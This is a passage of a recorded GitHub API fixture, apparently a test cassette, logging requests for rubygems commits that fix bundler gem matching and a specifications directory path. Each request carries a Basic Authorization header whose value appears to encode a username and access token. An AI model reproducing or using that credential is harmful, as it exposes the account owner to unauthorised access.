riptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"a20ea7dec437dfe147291ec8e1e18b613b3e24d1","url":"https://api.github.com/repos/rubygems/rubygems/commits/a20ea7dec437dfe147291ec8e1e18b613b3e24d1","html_url":"https://github.com/rubygems/rubygems/commit/a20ea7dec437dfe147291ec8e1e18b613b3e24d1"},{"sha":"4cf8a95eb5daf0eb9f9201d434be819e9ef0de17","url":"https://api.github.com/repos/rubygems/rubygems/commits/4cf8a95eb5daf0eb9f9201d434be819e9ef0de17","html_url":"https://github.com/rubygems/rubygems/commit/4cf8a95eb5daf0eb9f9201d434be819e9ef0de17"}],"stats":{"total":12,"additions":7,"deletions":5},"files":[{"sha":"d5d8ffbd1be3a818602be4786fbe23c1ff417727","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/8c091b68c7dd29205f4318f4c6724a164b4ef830/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/8c091b68c7dd29205f4318f4c6724a164b4ef830/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=8c091b68c7dd29205f4318f4c6724a164b4ef830","patch":"@@ -373,7 +373,7 @@ def install_default_bundler_gem\n bundler_spec = Gem::Specification.load(default_spec_path)\n \n Dir.entries(bundler_spec.gems_dir).\n- select {|default_gem| default_gem.match(/bundler-#{Gem::Version::VERSION_PATTERN}$/) }.\n+ select {|default_gem| File.basename(default_gem).match(/^bundler-#{Gem::Version::VERSION_PATTERN}$/) }.\n each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n \n mkdir_p bundler_spec.bin_dir"},{"sha":"8b4e69c5fa09d3863f5e5201dd0ccc087919f0db","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":6,"deletions":4,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/8c091b68c7dd29205f4318f4c6724a164b4ef830/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/8c091b68c7dd29205f4318f4c6724a164b4ef830/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=8c091b68c7dd29205f4318f4c6724a164b4ef830","patch":"@@ -44,8 +44,8 @@ def setup\n io.puts ''# bundler''\n end\n \n- FileUtils.mkdir_p File.join(Gem.default_dir, \"specification\")\n- open(File.join(Gem.default_dir, \"specification\", \"bundler-audit-1.0.0.gemspec\"), ''w'') do |io|\n+ FileUtils.mkdir_p File.join(Gem.default_dir, \"specifications\")\n+ open(File.join(Gem.default_dir, \"specifications\", \"bundler-audit-1.0.0.gemspec\"), ''w'') do |io|\n io.puts ''# bundler-audit''\n end\n \n@@ -85,7 +85,9 @@ def test_install_default_bundler_gem\n @cmd.install_default_bundler_gem\n \n if Gem.win_platform?\n- spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n+ bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n+ default_spec_path = File.join(Gem::Specification.default_specifications_dir, \"#{bundler_spec.full_name}.gemspec\")\n+ spec = Gem::Specification.load(default_spec_path)\n \n spec.executables.each do |e|\n assert_path_exists File.join(spec.bin_dir, \"#{e}.bat\")\n@@ -100,7 +102,7 @@ def test_install_default_bundler_gem\n assert_path_exists File.join(default_dir, \"bundler-1.16.0.gemspec\")\n assert_path_exists ''default/gems/bundler-1.16.0''\n \n- assert_path_exists File.join(Gem.default_dir, \"specification\", \"bundler-audit-1.0.0.gemspec\")\n+ assert_path_exists File.join(Gem.default_dir, \"specifications\", \"bundler-audit-1.0.0.gemspec\")\n assert_path_exists ''default/gems/bundler-audit-1.0.0''\n end if Gem::USE_BUNDLER_FOR_GEMDEPS\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:52 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/4cf8a95eb5daf0eb9f9201d434be819e9ef0de17 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:52 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4514' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"e9c1e778836a458efa871b31c31e96bd" Last-Modified: - Wed, 22 Nov 2017 13:43:54 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.037868' X-Github-Request-Id: - A22A:4D95:F47CEB:1C834C5:5A50E468 body: encoding: ASCII-8BIT string: '{"sha":"4cf8a95eb5daf0eb9f9201d434be819e9ef0de17","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T13:43:54Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T13:43:54Z"},"message":"Match strict name of bundler- gem","tree":{"sha":"1463fc93169e5d962236d563a779eb139ec5308a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1463fc93169e5d962236d563a779eb139ec5308a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4cf8a95eb5daf0eb9f9201d434be819e9ef0de17","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloVfxoACgkQ+c8TQXJk\n+sKNpggApTeB+FTKvB4l+6f8vnOT9tuFlsiGwFVpCRtxZH5np8OPxVxxkPlVcLsj\nPykrubbE0yYQ8NstQdX61jSw76vC90b/Fnz/HoTZPtM7Sg4ZL3Rk0XTiQrDwwGOo\n4E8Z1CyU+gKcT7HgJfd/p1ULI18EyFAKCEZwXODLst0KWy3XgZi8RbtXlZ63ZCkF\ns5rBPdyg3HgOsfhDfky2hcDXmaKNxDgaV6deMXQoC8rO+2l8vKXm2uQowW3NoQOV\n5kPnthSpFG/hOd0aR+8EYtI36+q/7N0wnfGCP6V2u4yzpI5KIqEXNcwNVe4XhIaq\nTayiwykWSXQT5d+oCUCybEXRIRhWaw==\n=uHyJ\n-----END PGP SIGNATURE-----","payload":"tree 1463fc93169e5d962236d563a779eb139ec5308a\nparent e17a3b345974f859166d26c79c79de336701ac3e\nauthor SHIBATA Hiroshi 1511358234 +0900\ncommitter SHIBATA Hiroshi 1511358234 +0900\n\nMatch strict name of bundler- gem\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4cf8a95eb5daf0eb9f9201d434be819e9ef0de17","html_url":"https://github.com/rubygems/rubygems/commit/4cf8a95eb5daf0eb9f9201d434be819e9ef0de17","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4cf8a95eb5daf0eb9f9201d434be819e9ef0de17/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"e17a3b345974f859166d26c79c79de336701ac3e","url":"https://api.github.com/repos/rubygems/rubygems/commits/e17a3b345974f859166d26c79c79de336701ac3e","html_url":"https://github.com/rubygems/rubygems/commit/e17a3b345974f859166d26c79c79de336701ac3e"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"d5d8ffbd1be3a818602be4786fbe23c1ff417727","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/4cf8a95eb5daf0eb9f9201d434be819e9ef0de17/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/4cf8a95eb5daf0eb9f9201d434be819e9ef0de17/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=4cf8a95eb5daf0eb9f9201d434be819e9ef0de17","patch":"@@ -373,7 +373,7 @@ def install_default_bundler_gem\n bundler_spec = Gem::Specification.load(default_spec_path)\n \n Dir.entries(bundler_spec.gems_dir).\n- select {|default_gem| default_gem.match(/bundler-#{Gem::Version::VERSION_PATTERN}$/) }.\n+ select {|default_gem| File.basename(default_gem).match(/^bundler-#{Gem::Version::VERSION_PATTERN}$/) }.\n each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n \n mkdir_p bundler_spec.bin_dir"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:52 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/e17a3b345974f859166d26c79c79de336701ac3e body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:52 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4513' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"de74968db9f92668d23dffdd6c327b2a" Last-Modified: - Wed, 22 Nov 2017 13:36:30 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045887' X-Github-Request-Id: - C4FC:4D97:903636:1C4724A:5A50E468 body: encoding: ASCII-8BIT string: '{"sha":"e17a3b345974f859166d26c79c79de336701ac3e","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T13:36:30Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T13:36:30Z"},"message":"Fixed wrong name of Gem::Specification dir.","tree":{"sha":"445b4e1a404b4740055a9021f1a044cff4e6f83d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/445b4e1a404b4740055a9021f1a044cff4e6f83d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/e17a3b345974f859166d26c79c79de336701ac3e","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloVfV4ACgkQ+c8TQXJk\n+sIKZwf/dAVBEkjFGYw1D4NL2kNMGacFT0PPTZXGBZ3zbSguhi2YgqaYlaPc9Yd3\nE0RSDPKEHLIjfuhfOs1v/H2aflBcJxSnT4KQi1GuN477uoE0ExXBaXBgevOb8pMB\nxAQLndKIG/MhHSvdjS6Nd+GxuJj7nvc97u+9TnYbpVfmOoHdjwm4MAw6f9ddo/NJ\nkePnz/NGLdov/qg5m+2+KHj8Dn/VDOR9bLHlcMo8XuZ9LyD7IlJsAypzs+oFtOib\nSmTvF34vuLfUQpOr+fuN4TTMLStVDoOaPWpqqNJpfQhoWnYBvRfHVX+aT6lXJEYF\nx6SRy480UPuMYzljQHpRkWyCGLRrUg==\n=JGgC\n-----END PGP SIGNATURE-----","payload":"tree 445b4e1a404b4740055a9021f1a044cff4e6f83d\nparent 90e874142ed4bbb666c4911ee9f2debdf4432e21\nauthor SHIBATA Hiroshi 1511357790 +0900\ncommitter SHIBATA Hiroshi 1511357790 +0900\n\nFixed wrong name of Gem::Specification dir.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/e17a3b345974f859166d26c79c79de336701ac3e","html_url":"https://github.com/rubygems/rubygems/commit/e17a3b345974f859166d26c79c79de336701ac3e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/e17a3b345974f859166d26c79c79de336701ac3e/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"90e874142ed4bbb666c4911ee9f2debdf4432e21","url":"https://api.github.com/repos/rubygems/rubygems/commits/90e874142ed4bbb666c4911ee9f2debdf4432e21","html_url":"https://github.com/rubygems/rubygems/commit/90e874142ed4bbb666c4911ee9f2debdf4432e21"}],"stats":{"total":6,"additions":3,"deletions":3},"files":[{"sha":"8b4e69c5fa09d3863f5e5201dd0ccc087919f0db","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/e17a3b345974f859166d26c79c79de336701ac3e/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/e17a3b345974f859166d26c79c79de336701ac3e/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=e17a3b345974f859166d26c79c79de336701ac3e","patch":"@@ -44,8 +44,8 @@ def setup\n io.puts ''# bundler''\n end\n \n- FileUtils.mkdir_p File.join(Gem.default_dir, \"specification\")\n- open(File.join(Gem.default_dir, \"specification\", \"bundler-audit-1.0.0.gemspec\"), ''w'') do |io|\n+ FileUtils.mkdir_p File.join(Gem.default_dir, \"specifications\")\n+ open(File.join(Gem.default_dir, \"specifications\", \"bundler-audit-1.0.0.gemspec\"), ''w'') do |io|\n io.puts ''# bundler-audit''\n end\n \n@@ -102,7 +102,7 @@ def test_install_default_bundler_gem\n assert_path_exists File.join(default_dir, \"bundler-1.16.0.gemspec\")\n assert_path_exists ''default/gems/bundler-1.16.0''\n \n- assert_path_exists File.join(Gem.default_dir, \"specification\", \"bundler-audit-1.0.0.gemspec\")\n+ assert_path_exists File.join(Gem.default_dir, \"specifications\", \"bundler-audit-1.0.0.gemspec\")\n assert_path_exists ''default/gems/bundler-audit-1.0.0''\n end if Gem::USE_BUNDLER_FOR_GEMDEPS\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:52 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/90e874142ed4bbb666c4911ee9f2debdf4432e21 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:52 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4512' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"46b0f9d8c51dc2a407334b73573a9c22" Last-Modified: - Wed, 22 Nov 2017 13:35:30 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.048064' X-Github-Request-Id: - A22E:4D97:90363B:1C4725C:5A50E468 body: encoding: ASCII-8BIT string: '{"sha":"90e874142ed4bbb666c4911ee9f2debdf4432e21","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T13:35:30Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T13:35:30Z"},"message":"Fixed executable path of default bundler","tree":{"sha":"5836bb2cefeea94efe2a2f17c51ceafc510695af","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/5836bb2cefeea94efe2a2f17c51ceafc510695af"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/90e874142ed4bbb666c4911ee9f2debdf4432e21","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloVfSIACgkQ+c8TQXJk\n+sLxOQf/f9m/iVYH0HyoAYY4bhJJ7uVYuHg0fo9JtT0Z7XSFr8cLtEP0rH8juSZk\n+5qK26N+lt4o/h2tivsG2O0Y1k9YGHYWd49/CUDiemsukIde+fig/oJsEAcTlSDj\n+g8JV6Drw5nGxZXZwCWo3dnh1fWQSFsZxriBR/dbNGuDAqFOc/snDRubbCHtYm4K\ngJui07f6pUT+ChMp0Fl4ABLUuZlN/VuwY3PIH7dIcPYOpUOOTtwqbeMQLit/X+y+\nSpKVKWooiAcNxw07bNuHIaRklKocg7+PDkFWBO8UbWZXnj1z8oyrJVLKokqN/8xb\nv6ZKm5wmQbJkIloVY/EmB3OqSQf49A==\n=CT93\n-----END PGP SIGNATURE-----","payload":"tree 5836bb2cefeea94efe2a2f17c51ceafc510695af\nparent a20ea7dec437dfe147291ec8e1e18b613b3e24d1\nauthor SHIBATA Hiroshi 1511357730 +0900\ncommitter SHIBATA Hiroshi 1511357730 +0900\n\nFixed executable path of default bundler\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/90e874142ed4bbb666c4911ee9f2debdf4432e21","html_url":"https://github.com/rubygems/rubygems/commit/90e874142ed4bbb666c4911ee9f2debdf4432e21","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/90e874142ed4bbb666c4911ee9f2debdf4432e21/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"a20ea7dec437dfe147291ec8e1e18b613b3e24d1","url":"https://api.github.com/repos/rubygems/rubygems/commits/a20ea7dec437dfe147291ec8e1e18b613b3e24d1","html_url":"https://github.com/rubygems/rubygems/commit/a20ea7dec437dfe147291ec8e1e18b613b3e24d1"}],"stats":{"total":4,"additions":3,"deletions":1},"files":[{"sha":"81e1eb78c4ffefc2477dcb5dfcb2e594cbce7e3a","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":3,"deletions":1,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/90e874142ed4bbb666c4911ee9f2debdf4432e21/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/90e874142ed4bbb666c4911ee9f2debdf4432e21/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=90e874142ed4bbb666c4911ee9f2debdf4432e21","patch":"@@ -85,7 +85,9 @@ def test_install_default_bundler_gem\n @cmd.install_default_bundler_gem\n \n if Gem.win_platform?\n- spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n+ bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n+ default_spec_path = File.join(Gem::Specification.default_specifications_dir, \"#{bundler_spec.full_name}.gemspec\")\n+ spec = Gem::Specification.load(default_spec_path)\n \n spec.executables.each do |e|\n assert_path_exists File.join(spec.bin_dir, \"#{e}.bat\")"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:52 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/a20ea7dec437dfe147291ec8e1e18b613b3e24d1 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:53 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4511' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"609035b5e9f8ccef2d8a17b0d604c887" Last-Modified: - Wed, 22 Nov 2017 12:59:00 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.052028' X-Github-Request-Id: - A230:4D97:903642:1C4726B:5A50E469 body: encoding: ASCII-8BIT string: '{"sha":"a20ea7dec437dfe147291ec8e1e18b613b3e24d1","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T12:59:00Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T12:59:00Z"},"message":"Auto merge of #2094 - hsbt:generate-win-bundler-bat, r=segiddins\n\nGenerate .bat files on Windows platform\n\nFixes https://github.com/rubygems/rubygems/issues/2083","tree":{"sha":"632af6b38531b0379d64720ad1cd3dbdd7c46e7b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/632af6b38531b0379d64720ad1cd3dbdd7c46e7b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a20ea7dec437dfe147291ec8e1e18b613b3e24d1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a20ea7dec437dfe147291ec8e1e18b613b3e24d1","html_url":"https://github.com/rubygems/rubygems/commit/a20ea7dec437dfe147291ec8e1e18b613b3e24d1","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a20ea7dec437dfe147291ec8e1e18b613b3e24d1/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/